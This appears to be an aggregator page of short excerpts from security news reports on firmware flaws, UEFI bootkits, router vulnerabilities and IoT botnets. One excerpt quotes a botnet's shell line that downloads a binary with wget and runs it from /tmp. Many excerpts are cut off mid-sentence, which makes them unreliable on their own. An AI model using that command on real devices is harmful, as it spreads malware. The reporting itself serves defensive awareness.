SecureList

JANUARY 17, 2025

Their report is a good starting point for diving deep into the MBUX internals and understanding the architecture of the system. Full information on the MBUX architecture can be found in the KeenLab research. Firmware The MMB runs on Linux, and its filesystems are located on the eMMC. connections via USB and custom IPC.

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Security Affairs

JUNE 22, 2020

AMD is going to release patches for a flaw affecting the System Management Mode (SMM) of the Unified Extensible Firmware Interface (UEFI). The vulnerability was discovered by the security researcher Danny Odler, it resides in the AMD’s Mini PC could allow attackers to manipulate secure firmware and execute arbitrary code.

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Security Affairs

MARCH 7, 2020

The CVE-2019-0090 vulnerability affects the firmware running on the ROM of the Intel’s Converged Security and Management Engine (CSME). Intel CSME is responsible for initial authentication of Intel-based systems by loading and verifying all other firmware for modern platforms.” x, SPS_E3_05.00.04.027.0.

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Security Affairs

NOVEMBER 1, 2021

The number of infected devices is impressive, on 2019-11-30 a trusted security partner in the US informed Qihoo 360’s Netlab Cybersecurity reported to have observed 1,962,308 unique daily active IPs from the Pink botnet targeting its systems. According to the experts, Pink is the largest botnet they have observed in the last six years.

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Security Affairs

DECEMBER 9, 2021

. “The PING function on the TP-Link TL-WR840N EU v5 router with firmware through TL-WR840N(EU)_V5_171211 is vulnerable to remote code execution via a crafted payload in an IP address input field.” TP-Link addressed the flaw on November 12, 2021 with the release of the firmware update TL-WR840N(EU)_V5_211109.

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SecureList

APRIL 25, 2025

With time, the vulnerabilities were patched, and restrictions were added to the firmware. Attackers are leveraging this by embedding malicious software into Android device firmware. Attackers are now embedding a sophisticated multi-stage loader directly into device firmware. oat ) located in the same directory.

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Security Affairs

OCTOBER 5, 2020

The experts were investigating several suspicious UEFI firmware images when discovered four components, some of which were borrowing the source code a Hacking Team spyware. The firmware malware is based on code associated with HackingTeam’s VectorEDK bootkit, with minor changes. ” concludes the report.

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Security Affairs

JANUARY 18, 2024

Unified Extensible Firmware Interface (UEFI) is a specification that defines the architecture of the platform firmware used for booting the computer hardware and its interface for interaction with the operating system. NetworkPkg is a set of modules that implements networking capabilities within the UEFI environment. .

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eSecurity Planet

NOVEMBER 4, 2021

The unranked list contains 12 entries that categorize data found in hardware programming, design, and architecture. CWE-1191 : On-Chip Debug and Test Interface With Improper Access Control – the debug interface (JTAG) might be used to bypass on-chip protection to extract information. The full MITRE-CWE list.

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Security Affairs

DECEMBER 13, 2021

The WiFi chip encrypts network traffic and holds the current WiFi credentials, thereby providing the attacker with further information.” Threat actors can execute code by exploiting an unpatched or new security issue over-the-air, or abusing the local OS firmware update mechanism. ” concludes the paper. Pierluigi Paganini.

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Security Affairs

FEBRUARY 23, 2022

. “The actor has so far primarily deployed Cyclops Blink to WatchGuard devices, but it is likely that Sandworm would be capable of compiling the malware for other architectures and firmware.” The malware leverages the firmware update process to achieve persistence.

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The Last Watchdog

JUNE 27, 2023

The models of the EM-30 and S-56(u) series, which are available as an embedded component in the form of an e.MMC or as flexible, interchangeable SD memory cards, offer maximum reliability due to proven firmware architecture. For further information, please visit www. They also guarantee 100% data security.

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SecureList

JUNE 20, 2023

The findings of the study reveal a number of serious security issues, including the use of hard-coded credentials, and an insecure firmware update process. The described setup allowed us to verify the information passing through, for example, during the over-the-air update process.

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Malwarebytes

FEBRUARY 24, 2022

But the NCSC warns that it is likely that Sandworm is capable of compiling the same or very similar malware for other architectures and firmware. When it comes to infected appliances, Cyclops Blink persists on reboot and throughout the legitimate firmware update process.

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Security Affairs

SEPTEMBER 20, 2020

The botnet supports the following capabilities: DDoS attack Collecting Bot Information Execute the payload of the specified URL Update the sample from the specified URL Execute system or custom commands. Once gained access to the device, the bot attempt to execute a malicious payload and the bot will automatically join the Mozi P2P network.

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Kali Linux

JUNE 12, 2025

amd64 NOTE: The output of uname -r may be different depending on the system architecture. KDE Plasma 6.3 KDE Plasma fans, rejoice – we’ve included Plasma 6.3, brings both flexibility and style. New Tools in Kali It would not be a Kali release if there were not any new tools added! " VERSION="2025.2"

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Penetration Testing

JUNE 5, 2025

This architecture offers a dangerous opportunity: if an attacker can register their own CSE, they gain persistent SYSTEM-level code execution across all machines applying the GPO. Registered in the Windows registry under the HKLM:SOFTWAREMicrosoftWindows NTCurrentVersionWinlogonGPExtensions path.

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Pen Test Partners

MAY 21, 2025

Crucially, due to a combination of outdated firmware resulting in unintended exposure of network services and cleartext transmission of weak, reused and default passwords, these dual-homed devices could enable an attacker to compromise critical control and safety networks from untrusted network zones.

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SecureList

JUNE 6, 2025

cd /tmp; rm arm7; wget [link] chmod 777 *; /arm7 tbk Typically, bot infections involve shell scripts that initially survey the target machine to determine its architecture and select the corresponding binary. Using this information, the malware verifies if there are any processes with VMware or QEMU-arm in their command line.

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SecureList

SEPTEMBER 29, 2022

By mid-August 2022, Schneider Electric had released an update for the EcoStruxure™ Control Expert software, as well as for Modicon M340 and Modicon M580 PLC firmware, that fixes the vulnerability. UMAS is based on a client-server architecture. UMAS also inherits the Modbus client-server architecture.

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Security Affairs

MARCH 21, 2020

“ Mukashi brute forces the logins using different combinations of default credentials, while informing its command and control (C2) server of the successful login attempts. Multiple, if not all, Zyxel NAS products running firmware versions up to 5.21 .” reads the analysis published by Palo Alto Network.

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Security Affairs

JULY 22, 2023

The cause of the vulnerability is the improper error message handling in Zyxel ZyWALL/USG series firmware versions 4.60 through 4.73, VPN series firmware versions 4.60 through 5.35, USG FLEX series firmware versions 4.60 through 5.35, and ATP series firmware versions 4.60 through 5.35.

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Security Affairs

JUNE 18, 2019

.” The RCE flaw affects TP-Link Wi-Fi Extender models RE365, RE650, RE350 and RE500 running firmware version 1.0.2, The extender operates on the MIPS architecture, like many routers, the zero-day flaw can be triggered. The extender operates on the MIPS architecture, like many routers, the zero-day flaw can be triggered.

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Security Affairs

APRIL 14, 2022

“The APT actors’ tools have a modular architecture and enable cyber actors to conduct highly automated exploits against targeted devices. . “The APT actors’ tools have a modular architecture and enable cyber actors to conduct highly automated exploits against targeted devices.

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eSecurity Planet

JULY 25, 2022

DNS cache poisoning is probably more accurate to describe the most common scenario: In this situation, the attacker manages to fill the DNS cache with false information, so the DNS query will redirect users to a rogue IP. That’s why the false information remains in the cache until the expiration, also known as TTL or time to live.

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Malwarebytes

OCTOBER 5, 2021

The requirements and considerations of each organization will be different, and many things will inform the decisions they make about whether to stick or twist. United Extensible Firmware Interface (UEFI). Windows 11 comes ready to embrace the impressively-named Pluton TPM architecture.

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Security Affairs

DECEMBER 22, 2022

Zerobot targets multiple architectures, including i386, amd64, arm, arm64, mips, mips64, mips64le, mipsle, ppc64, ppc64le, riscv64, and s390x. Maintain device health with updates: Make sure devices are up to date with the latest firmware and patches. The bot is saved using the filename “zero.”.

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Security Affairs

MARCH 18, 2022

In fact, Ericsson Network Manager is an Operations support system (‘OSS’ according to network jargon) , which allows the management of all the devices interconnected to it, ensuring the management of configurations, firmware updates and all automation and maintenance operations of an advanced mobile radio network.

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SecureList

MAY 23, 2022

According to public sources of information, ISaGRAF Runtime is used as an automation framework in multiple products in various industries across the globe and its use is not limited to ICS. More information is available on the Kaspersky ICS CERT website.

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Security Boulevard

SEPTEMBER 1, 2023

Permalink The post BSides Cheltenham 2023 – Stephen – All Your Firmwares Are Belong To Us: A Guide To Successful Acquisition appeared first on Security Boulevard. Many thanks to BSides Cheltenham for publishing their presenter’s outstanding BSides Cheltenham 2023 security content on the organizations’ YouTube channel.

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Google Security

MARCH 12, 2021

Posted by Stephen Röttger and Artur Janc, Information Security Engineers Three years ago, Spectre changed the way we think about security boundaries on the web. We've confirmed that this proof-of-concept, or its variants, function across a variety of operating systems, processor architectures, and hardware generations.

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CyberSecurity Insiders

DECEMBER 6, 2022

To address this threat, organizations of all sizes while conducting a risk assessment need to take into account the vulnerabilities of all third-party software or firmware. For more information, visit www.netwrix.com. Understaffing will increase the role of channel partners.

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SecureList

OCTOBER 25, 2023

This archive is discreetly hosted on legitimate websites, cleverly disguised as firmware binaries for enigmatic devices labeled “m100” The Bitbucket repository was created on June 21, 2018, under the account of Julie Heilman, and it remains the sole repository associated with this profile.

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eSecurity Planet

FEBRUARY 22, 2022

They can also track the user’s location and use the camera and microphone to literally record everything and extract information. It can even access the chip’s firmware to gain root access on the device, a significant privilege escalation. Also read: Top Vulnerability Management Tools for 2022. The list is available on GitHub.

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eSecurity Planet

JANUARY 20, 2022

CrowdStrike in 2021 also saw a 123 percent year-over-year increase in samples of XorDDoS, a Trojan aimed at multiple Linux architectures, including those powered by x86 chips from Intel and AMD as well as Arm processors. Spies want to steal information. Criminals want to make money. IoT Protection Steps.

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eSecurity Planet

SEPTEMBER 9, 2024

ISO/IEC 27001: An international standard on managing information security, including within industrial contexts. Patch management: Keeping software and firmware up to date to close security gaps. Impact: Sabotage, theft of proprietary information, or unintentional errors leading to system vulnerabilities.

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Security Affairs

JUNE 22, 2019

In order to determine what miner to deliver, the bot collects system information, such as manufacturer, hardware details, and processor architecture. The script for a. sh reveals shows that the attackers can choose from three different miners. Copyright (C) 2014 Media.net Advertising FZ-LLC All Rights Reserved -->.

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